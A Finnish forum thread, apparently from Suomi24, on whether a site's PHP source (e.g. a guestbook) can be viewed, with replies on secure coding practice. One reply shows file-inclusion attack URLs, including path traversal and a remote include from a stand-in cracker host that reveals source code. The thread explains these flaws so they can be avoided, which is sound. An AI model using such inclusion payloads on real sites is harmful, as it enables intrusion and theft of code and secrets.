onko php mahdollista saada näkyviin sivuilla...

jossa on esim vieraskirja?
9650
Äänestä

Muut lukivat myös

Vastaukset 9

Vanhimmat

Mikäli tarkoitat PHP koodia niin sitä ei saa näkyviin normaalisti. Toki palvelin/PHP-tulkki voi seota jolloin koodi näkyy, tosin tätä ei usein tapahdu mikäli ylläpito osaa asiansa.

Jos haluat koodin niin ainoa laillinen keino on kysyä ylläpitäjältä tai katsoa sivun lähdekoodista joskos siellä näkyisi mitä vieraskirjaa käyttää.

Äänestä
  • onko mahdollista saada php näkymään jollain lailla?

    Äänestä

  • dsaf kirjoitti:

    onko mahdollista saada php näkymään jollain lailla?

    ..kaikki on mahdollista jos vaikka murtautuu palvelimelle, mut php on palvelinpäässä suorittettava scriptikieli, joten ulos siitä tulee vain sen tuottama esim html sivu.

    Äänestä

  • dsaf kirjoitti:

    onko mahdollista saada php näkymään jollain lailla?

    http://shiflett.org/php-security.pdf tuo kannattaa ainaskin lukasta läpi jos turvallisuus kiinostaa.

    Kyllä osaava saa PHP koodin näkyviin joko helposti tai vaikeesti riippuu monista asioista.

    Valitsemalla luotettavan web-hotellin ja tekemällä itse asiat oikein ei tarvitse olla kovin huolissaan tuosta asiasta. Myös omaan koneen suojaus on tärkeetä.

    Äänestä

Yksi geneerinen vinkki on se, että kaikki arkaluontoista koodia sisältävät php-tiedostot sijoitetaan www hakemiston ulkopuolelle, josta ne include tai recuire funktiolla haetaan haluttuun php-scriptiin, esim klassinen index.php. Tällöin jos php-tulkki jostain syystä vaikka kaatuu ja koodi tulee selaimelle, niin selaimella ei näy kuin tuo include('../arat_asiat.php'); Tällöin siis selaimella ei pitäisi päästä koskaan käsiksi noihin arkaluonteisiin, koska www-serveri ei päästä muualle hakemistioihin kuin kotihakemiston www kansioon.

Äänestä
  • Tuolloinkin pitää huolehtia, että index.php on tietoturvallisesti koodattu tai muuten pääsee helposti käsiksi noihin www hakemiston ulkopuolisiinkin käsiksi.

    Yleinen virhe on tehdä näin



    ja sitten kutsua tuota tyyliin http://kotisivuni.com?sivu=etusivu

    Kun sitä kutsutaankin tähän malliin niin tapahtuu ihmeitä
    http://kotisivuni.com?sivu=../arat_asiat

    ellei tuo tehoa, niin tehdäänkin näin http://kotisivuni.com?sivu=http://krakkerinsivu.com/salaisuuksien_listaaja

    Ja tuolla krakkerinsivuilla on pieni PHP pätkä joka näyttää hakemistolistauksen ja PHP:n koodina.

    Esim Ylen sivuilla moista juttua käytettiin ja varmaan monet ovat uutisista kuulleetkin mitä kävi.

    Tärkeintä on muistaa, että tietoturva muodostuu pienistä palasista, yhden palasen pettäessä muut palaset eivät paljoa auta.

    Äänestä

Riippuu siitä, miten vieraskirja on tehty. Siis onko siinä turvallisuus aukko joka mahdollistaa esim. ulkopuolisen PHP koodin suorittamisen. Tällainen aukko voi tulla esim. siitä, jos vieraskirjaan keräämiä viestejä ei käsitellä mitenkään ennen niiden näyttämistä esim. include komennolla.

Äänestä
  • siis vieraskirjassa?

    Äänestä

  • sad kirjoitti:

    siis vieraskirjassa?

    Alla on esimerkki siitä, minkälaista tapausta tarkoitin.

    --- ALKU: vieraskirja.php ---





       
          Kirjoita viesti:
          
             
             
          
          Vieraiden viestit:
          
       



    --- LOPPU ---

    Äänestä

Kommentoi aloitusta


hylle kirjoitti:

jossa on esim vieraskirja?

Anonyymi
5000

Ilmoita asiaton sisältö

  • Sisältää materiaalia, joka on loukkaavaa, herjaavaa, rasistista, uhkailevaa tai ahdistelevaa.

  • Materiaali sisältää nimiä, yhteystietoja tai muita henkilökohtaisia tietoja. Julkisuuden henkilöistä, julkisissa viroissa toimivista ihmisistä sekä yritysten vastuuhenkilöistä saa keskustella työhön liittyen. Myös yksityiselämään liittyvistä asioista voi keskustella siltä osin, kuin niistä on julkisesti kerrottu.

  • Sisältää lapsille haitallista tai heiltä kiellettyä materiaalia. Seksuaalinen sisältö on sallittua aiheeseen tarkoitetuilla palstoilla, joiden ikäraja on 18 vuotta.

  • Lainvastaista sisältöä voi olla mm. yksityiselämää loukkaavan tiedon levitys, kiihottaminen kansanryhmää vastaan, laiton uhkaaminen, alaikäisiin liittyvä seksuaalinen sisältö/grooming, petokset, identiteettivarkaudet, kunnianloukkaukset ja tekijänoikeusrikkomukset.

  • Sisältö ei liity palstan tai keskusteluketjun aiheeseen.

  • Viesti ei ole suomea tai ruotsia (pl. International Forums), se sisältää mainontaa, se sisältää tekijänoikeuksin suojattua materiaalia, se on massapostitus tai jokin muu syy.

Jaa keskustelu